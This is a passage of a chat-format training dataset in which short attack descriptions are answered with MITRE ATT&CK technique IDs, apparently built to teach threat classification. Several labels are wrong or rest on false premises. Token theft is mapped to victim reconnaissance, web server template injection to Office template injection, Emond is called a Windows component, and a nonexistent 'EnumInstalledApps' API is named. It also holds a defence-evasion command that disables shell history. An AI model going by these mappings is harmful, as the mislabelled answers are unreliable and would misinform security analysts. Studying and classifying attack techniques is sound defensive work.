                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set utilizes the Exchange Web Services API to batch delete email items, effectively clearing the mailbox of indicators."
            },
            {
                "role": "assistant",
                "content": "T1070.008 - Indicator Removal: Clear Mailbox Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a signed driver to install a UEFI-level bootkit, granting persistent early boot execution."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Pre-OS Boot: Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries replace the legitimate taskmgr.exe with a malicious version that shows a fake UI."
            },
            {
                "role": "assistant",
                "content": "T1036.003 - Masquerading: Rename System Utilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker exploits a remote code execution vulnerability in a web framework to deploy a persistent malicious web service."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers embed malicious scripts within harmless‑looking documents that contain large amounts of junk text to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code utilizes the Component Object Model to establish inter‑process communication between a compromised service and a user‑level application."
            },
            {
                "role": "assistant",
                "content": "T1559.001 - Inter-Process Communication: Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised service account’s token is harvested from memory and used to impersonate the victim in later attacks."
            },
            {
                "role": "assistant",
                "content": "T1589.001 - Gather Victim Identity Information: Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team disables the bash command history by appending 'unset HISTFILE' to the user's .bashrc."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Defenses: Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary adds a malicious file named 'calc.exe' to a path segment without quotes, so when a legitimate command is executed, the system runs the malicious file first."
            },
            {
                "role": "assistant",
                "content": "T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Before activating its malicious code, the trojan checks for active user sessions and delays execution until a logged‑in user is present."
            },
            {
                "role": "assistant",
                "content": "T1497.002 - Virtualization/Sandbox Evasion: User Activity Based Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using Mimikatz, the threat actor dumps credentials and creates a forged access token for the SYSTEM account."
            },
            {
                "role": "assistant",
                "content": "T1134 - Access Token Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious USB drive is left in a public area; when plugged into a workstation, it auto‑runs a script that creates a new local admin account."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers alter the runtime data of a database client, causing it to query and exfiltrate sensitive records."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor sets up a SOCKS proxy over an existing SSH connection, tunneling additional malicious traffic through the encrypted tunnel to reach internal systems."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a botnet of compromised machines to perform brute-force attacks on external services."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised service runs a PowerShell command that appends a hidden script block to the current user's PowerShell profile, ensuring execution at each session start."
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor creates a scheduled task named \"System Maintenance\" to execute a payload with SYSTEM privileges."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intrusion set employs a custom DLL to query the LSA Secrets registry for clear‑text passwords."
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages a custom tool to grep for patterns like 'password=' across all text files on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker launches a distributed denial-of-service attack that saturates the target's network bandwidth."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses a compromised update mechanism to corrupt the device's UEFI firmware."
            },
            {
                "role": "assistant",
                "content": "T1495 - Firmware Corruption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script created a Windows shortcut (.lnk) that appeared to be a benign text file, but it executed a hidden malicious program when clicked, using file type masquerading."
            },
            {
                "role": "assistant",
                "content": "T1036.008 - Masquerading: Masquerade File Type"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor modifies the scheduled maintenance windows of a cloud compute resource, ensuring their malicious processes run uninterrupted during expected downtime."
            },
            {
                "role": "assistant",
                "content": "T1578.005 - Modify Cloud Compute Infrastructure: Modify Cloud Compute Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a phishing service to send personalized messages that contain a link to a fake login portal."
            },
            {
                "role": "assistant",
                "content": "T1598.001 - Phishing for Information: Spearphishing Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor exfiltrates harvested emails to an attacker‑controlled Dropbox account using the Dropbox API."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary conducts a spearphishing voice campaign, targeting finance staff with a fake audit request."
            },
            {
                "role": "assistant",
                "content": "T1598.004 - Phishing for Information: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The code uses a reflective loader to map a malicious executable into RAM and calls its entry point, ensuring no trace on the filesystem."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion begins with a low‑bandwidth DNS tunneling channel, which is later expanded into a high‑bandwidth HTTPS channel for bulk data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a .lnk shortcut into the user's Startup folder to achieve persistence after every system reboot."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries deploy a malicious DLL as a Windows service to gain persistence on the target server."
            },
            {
                "role": "assistant",
                "content": "T1505 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing attachment drops a DLL named netshhelper.dll and updates the Netsh helper registry entry, causing the DLL to execute automatically when netsh is used for troubleshooting."
            },
            {
                "role": "assistant",
                "content": "T1546.007 - Event Triggered Execution: Netsh Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors harvested software version data by calling the Windows API function EnumInstalledApps on the infected endpoint."
            },
            {
                "role": "assistant",
                "content": "T1592.002 - Gather Victim Host Information: Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro extracts clipboard data whenever the victim copies a password and uploads it via a hidden FTP connection."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script pulls Office 365 security groups via Microsoft Graph to find privileged accounts."
            },
            {
                "role": "assistant",
                "content": "T1069.003 - Permission Groups Discovery: Cloud Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses URL‑encoding to obfuscate command parameters embedded in a malicious GET request."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a script to insert a value into the RunOnce registry key under HKEY_CURRENT_USER."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code waits for a predefined series of UDP messages on port 12345, after which it opens a backdoor on port 22, demonstrating Traffic Signaling via port knocking."
            },
            {
                "role": "assistant",
                "content": "T1205.001 - Traffic Signaling: Port Knocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates a fake Facebook event and distributes invitation messages containing a link to a malicious payload hosted on a file‑sharing site."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the breach, the attacker harvested the list of active network connections from /proc/net/tcp on a Linux host."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An internal spearphishing campaign distributes a fake invoice PDF via the company's internal mail system, prompting users to enable macros."
            },
            {
                "role": "assistant",
                "content": "T1534 - Internal Spearphishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use stolen domain credentials to log into Windows machines and maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Valid Accounts: Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group hides exfiltrated data inside the metadata of office documents using steganography."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Obfuscated Files or Information: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In this incident, the attacker set up a custom web service on a cloud VM to act as a C2 channel."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through tampered input, the malicious user performs template injection in a Django template, exposing environment variables and database credentials."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 transfers harvested logs to a remote Git repository for staging."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor leverages the Windows Event Collector (Emond) to launch a ransomware component upon detection of a failed login attempt."
            },
            {
                "role": "assistant",
                "content": "T1546.014 - Event Triggered Execution: Emond"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Post‑exploitation, the malware encrypts files and uploads the ciphertext to a malicious Google Cloud Storage bucket using the victim’s OAuth token."
            },
            {
                "role": "assistant",
                "content": "T1537 - Transfer Data to Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During lateral movement, the threat actor pulls the .bash_history file from compromised hosts to uncover credential‑bearing commands previously executed."
            },
            {
                "role": "assistant",
                "content": "T1552.003 - Unsecured Credentials: Bash History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised Wi‑Fi access point, the attacker forwards traffic from the internet to internal devices, effectively bridging the two network zones."
            },
            {
                "role": "assistant",
                "content": "T1599 - Network Boundary Bridging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses VBA stomping to replace legitimate macro functions with malicious ones, evading detection."
            },
            {
                "role": "assistant",
                "content": "T1564.007 - Hide Artifacts: VBA Stomping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit calls ptrace(PTRACE_ATTACH) to gain control over a target process and then writes a payload into its address space."
            },
            {
                "role": "assistant",
                "content": "T1055.008 - Process Injection: Ptrace System Calls"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised installer package exploits a vulnerability in the installation routine to execute malicious code during the client installation process."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious advertisement on a legitimate site redirects users to an exploit kit that silently installs ransomware via a drive-by compromise."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set used a script to purge all messages from compromised Gmail inboxes."
            },
            {
                "role": "assistant",
                "content": "T1070.008 - Indicator Removal: Clear Mailbox Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a registry permissions misconfiguration, the intruder updates the ImagePath for a privileged service to point to a trojan, achieving code execution."
            },
            {
                "role": "assistant",
                "content": "T1574.011 - Hijack Execution Flow: Services Registry Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary modifies an existing XSL stylesheet to include JavaScript that runs when the XML is rendered."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use port forwarding on a compromised internal system to relay traffic from the external network into the internal network, bypassing segmentation controls."
            },
            {
                "role": "assistant",
                "content": "T1599 - Network Boundary Bridging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker supplies malicious user input that gets evaluated by the server's Jinja2 template engine, leading to arbitrary code execution via template injection."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group modifies the /Library/LaunchDaemons/com.apple.spindump.plist to point to a malicious executable."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant establishes a bidirectional link with a remote web service by issuing GET requests that retrieve commands and POST requests that upload stolen credentials."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Web Service: Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious program hooks the kernel’s interrupt handler to drop any stop signals, allowing it to hide its artifact and stay running."
            },
            {
                "role": "assistant",
                "content": "T1564.011 - Hide Artifacts: Ignore Process Interrupts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber‑espionage teams used a private API that requires authentication to retrieve sensitive employee contact information."
            },
            {
                "role": "assistant",
                "content": "T1597 - Search Closed Sources"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor extracts cached credentials from Windows Credential Manager for use in pass‑the‑hash attacks."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware is embedded in the UEFI component firmware, allowing the attacker to maintain control prior to OS execution."
            },
            {
                "role": "assistant",
                "content": "T1542.002 - Pre-OS Boot: Component Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor gathers information on third‑party cloud services used by the victim."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the Sticky Keys executable by replacing utilman.exe with a malicious payload, allowing privilege escalation when the accessibility shortcut is triggered."
            },
            {
                "role": "assistant",
                "content": "T1546.008 - Event Triggered Execution: Accessibility Features"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-compromise script disconnects all network share connections to eliminate traces of the file transfers."
            },
            {
                "role": "assistant",
                "content": "T1070.005 - Indicator Removal: Network Share Connection Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries compromise a DNS provider’s web portal and alter hosted records to redirect traffic to malicious infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The tool uses WebDAV to write stolen files to a remote share hosted on an attacker‑controlled web service."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employed a DLL injection to read in‑memory email messages from the Outlook process."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By performing on‑the‑fly DNS resolution, the attacker discovers new domains for communication without static configuration."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker changes the Outlook Home Page registry key to load a malicious website whenever Outlook starts, achieving persistence."
            },
            {
                "role": "assistant",
                "content": "T1137.004 - Office Application Startup: Outlook Home Page"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performs credentialed enumeration via the AWS CLI \"aws iam get-account-authorization-details\" to gather detailed information about cloud accounts."
            },
            {
                "role": "assistant",
                "content": "T1087.004 - Account Discovery: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the AWS CLI, the adversary runs 'aws iam get-group' for each IAM group to enumerate users."
            },
            {
                "role": "assistant",
                "content": "T1069.003 - Permission Groups Discovery: Cloud Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary adds a Debugger entry under the Image File Execution Options registry key for a trusted executable, causing the malicious payload to be launched each time the legitimate program starts."
            },
            {
                "role": "assistant",
                "content": "T1546.012 - Event Triggered Execution: Image File Execution Options Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
